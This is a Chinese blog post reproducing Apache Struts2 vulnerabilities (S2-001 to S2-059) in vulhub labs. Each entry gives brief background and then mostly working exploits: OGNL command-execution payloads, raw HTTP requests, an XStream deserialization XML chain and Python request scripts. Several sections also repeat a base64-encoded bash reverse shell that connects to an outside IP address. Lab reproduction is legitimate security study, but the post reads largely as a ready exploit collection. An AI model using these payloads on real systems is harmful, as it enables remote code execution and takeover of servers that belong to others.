vulhub漏洞复现-struts2

vulhub漏洞复现-struts2

s2-001

原理:该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。

影响版本:Struts 2.0.0 - 2.0.8

工具梭哈
1601890934209

payload

获取tomcat执行路径:

1
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取Web路径:

1
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

1601892193356

命令执行

1
2
	
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

1601892046803

记得url编码

反弹shell

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTA0LjE3Mi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

1601892613212

s2-005

原理:s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开

影响版本:Struts 2.0.0-2.1.8.1

CVE编号:CVE-2010-1870

payload

1
HelloWord.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success123456%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

@替换空格

成功创建文件
1601885381985

工具
该版本也存在s2-016漏洞

1601889749540

s2-007

原理:age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞

影响版本:Struts 2.0.0 - 2.2.3

任然存在s2-016漏洞

工具反弹shell
1601892895530

payload

1
'+%2b+(%23_memberAccess["allowStaticMethodAccess"]%3dtrue,%23foo%3dnew+java.lang.Boolean("false")+,%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo,%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls+/').getInputStream()))+%2b+'

1601894335653

poc2

1
" + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("whoami").getInputStream())) + "

s2-008

原理:S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,但是这种情况在生产环境中几乎不可能存在,所以还是很鸡肋。

影响版本:Struts 2.1.0 – 2.3.1

该漏洞依然可使用s2-16进行利用
反弹shell

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTA0LjE3Mi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

poc

1
devmode.action?debug=command&expression=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id

1601894717354

s2-009

原理:OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。ParametersInterceptor中的正则表达式将top ["foo"](0)作为有效的表达式匹配,OGNL将其作为(top ["foo"])(0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在HTTP参数中,攻击者可以使用黑名单字符(例如#)禁用方法执行并执行任意方法,绕过ParametersInterceptor和OGNL库保护。

影响版本:Struts 2.1.0 - 2.3.1.1

poc1

1
/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

1601894945405

poc2

1
2
3
4
5
6
7
8
POST /ajax/example5 HTTP/1.1
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 417
Host: **********

z[%28name%29%28%27meh%27%29]&age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec("id").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#s=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#s.println(#d),#s.close())(meh)

1601895280536

工具依然可以梭哈

s2-012

原理:如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

影响版本:Struts 2.1.0-2.3.13

poc

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash","-c", "ls"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

1601950673916

工具检测同样具有s2-016漏洞

反弹shell

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTA0LjE3Mi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

1601950949791

s2-013

原理:struts2的标签中 和 都有一个 includeParams 属性,可以设置成如下值

  • none - URL中不包含任何参数(默认)
  • get - 仅包含URL中的GET参数
  • all - 在URL中包含GET和POST参数

此时 或尝试去解析原始请求参数时,会导致OGNL表达式的执行

影响版本:Struts 2.0.0-2.3.14

payload

1
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

1601954540240

工具梭哈,s2-16、s2-48

s2-015

原理:如果一个请求与任何其他定义的操作不匹配,它将被匹配*,并且所请求的操作名称将用于以操作名称加载JSP文件。并且,1作为OGNL表达式的威胁值,{ }可以在服务器端执行任意的Java代码。这个漏洞是两个问题的组合:

  • 请求的操作名称未被转义或再次检查白名单
  • 在TextParseUtil.translateVariables使用组合$和%开放字符时对OGNL表达式进行双重评。

影响版本:Struts 2.0.0 - 2.3.14.2

poc1

1
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action

1602038963485

poc2

1
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action

s2-016

原理:问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行。

影响版本:Struts 2.0.0 – 2.3.15

poc

1
index.action?redirect:%24%7b%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%5b%5d%7b%27%6c%73%27%2c%27%2f%27%7d%29%29%2e%73%74%61%72%74%28%29%2c%23%62%3d%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6d%61%74%74%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%23%65%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29%7d
1
index.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ls','/'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

1602039230314

s2-016之前得洞好像都可以使用s2-16进行利用,工具一把梭

s2-032

影响版本:

Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)

原理

当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。 method:<name> Action 前缀去调用声明为 public 的函数,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会。

poc

1
?method:%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse()%2C%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D)%2C%23w%3D%23res.getWriter()%2C%23a%3Dnew%20java.util.Scanner(%40java.lang.Runtime%40getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.d%5B0%5D)%2C%23str%3D%23a.hasNext()%3F%23a.next()%3A%23parameters.dd%5B0%5D%2C%23w.print(%23str)%2C%23w.close()%2C%23request.toString&cmd=ls&dd=%20&d=____A&encoding=UTF-8

1602040329106

工具
反弹shell

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTA0LjE3Mi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

1602053557111

s2-045

原理:在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

影响版本:

  • Struts2.3.5 – 2.3.31
  • Struts2.5 – 2.5.10

poc

1
%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

抓包,在content-type里面加上payload

1602055778591

反弹shell

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTA0LjE3Mi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

s2-046

该漏洞与之前S2-045漏洞成因及原理一样(CVE漏洞编号是同一个),只是漏洞利用的字段发生了改变。

影响的版本

  • Struts 2.3.5 – Struts 2.3.31
  • Struts 2.5 – Struts 2.5.10

burp抓包,将filename里面填写

1
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b

1602063578549

在hex里找到b之前一个符号,使用00截断

1602063644370

1602063944289

命令执行

1
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b

1602064063432

s2-048

原理:Apache Struts 1插件的Apache Struts 2.3.X版本中存在远程代码执行漏洞,该漏洞出现于Struts2的某个类中,该类是为了将Struts1中的Action包装成为Struts2中的Action,以保证Struts2的兼容性。在Struts2中的Struts1插件启用的情况下,远程攻击者可通过使用恶意字段值,构造特定的输入,发送到ActionMessage类中,从而导致任意命令执行,进而获取目标主机系统权限

影响版本:Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本

访问/integration/saveGangster.action页面

poc

1
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream())).(#q)}

1602064773788

工具检测

1602064862767

s2-052

原理:Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可被远程攻击。

影响版本:

  • Struts 2.1.2 - Struts 2.3.33
  • Struts 2.5 - Struts 2.5.12

点击edit进入到http://192.168.102.128:8080/orders/3/edit页面下,点击一下submit

1602065036666

点击submit提交抓包

post传入poc并修改Content-Type: application/xml

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/11112222333344445</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

1602065528480

进入容器查看,创建成功

1602065637076

s2-053

原理:Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

影响版本:

  • Struts 2.0.1-2.3.33
  • Struts 2.5-2.5.10

访问http://192.168.102.128/hello,submit抓包

poc

1
2
3
4
5
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#context.setMemberAccess(#dm)))).(#cmds=({'/bin/bash','-c','id'})).(#p=new java.lang.ProcessBuilder(#cmds)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

urlencode=====>

%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmds%3D%28%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%27id%27%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A

1602066447445

1602066479820

s2-057

原理:

  • -alwaysSelectFullNamespace为true。
  • -action元素没有设置namespace属性,或者使用了通配符。
  • 命名空间将由用户从url传递并解析为OGNL表达式,最终导致远程代码执行漏洞

影响版本:

  • Struts 2.3–2.3.34
  • Struts2.5–2.5.16

访问http://192.168.102.128:8080/index

.poc

1
%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

1602070235888

s2-059

poc

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

进入容器发现创建成功

1602128952620

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTA0LjE3Mi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
print(res1.text)
res2 = requests.post(url, data=data2)
print(res2.text)
文章作者:CyzCc
最后更新:2020年12月07日 15:12:10
原始链接:https://cyzcc.vip/2020/10/07/vulhub-struts2/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------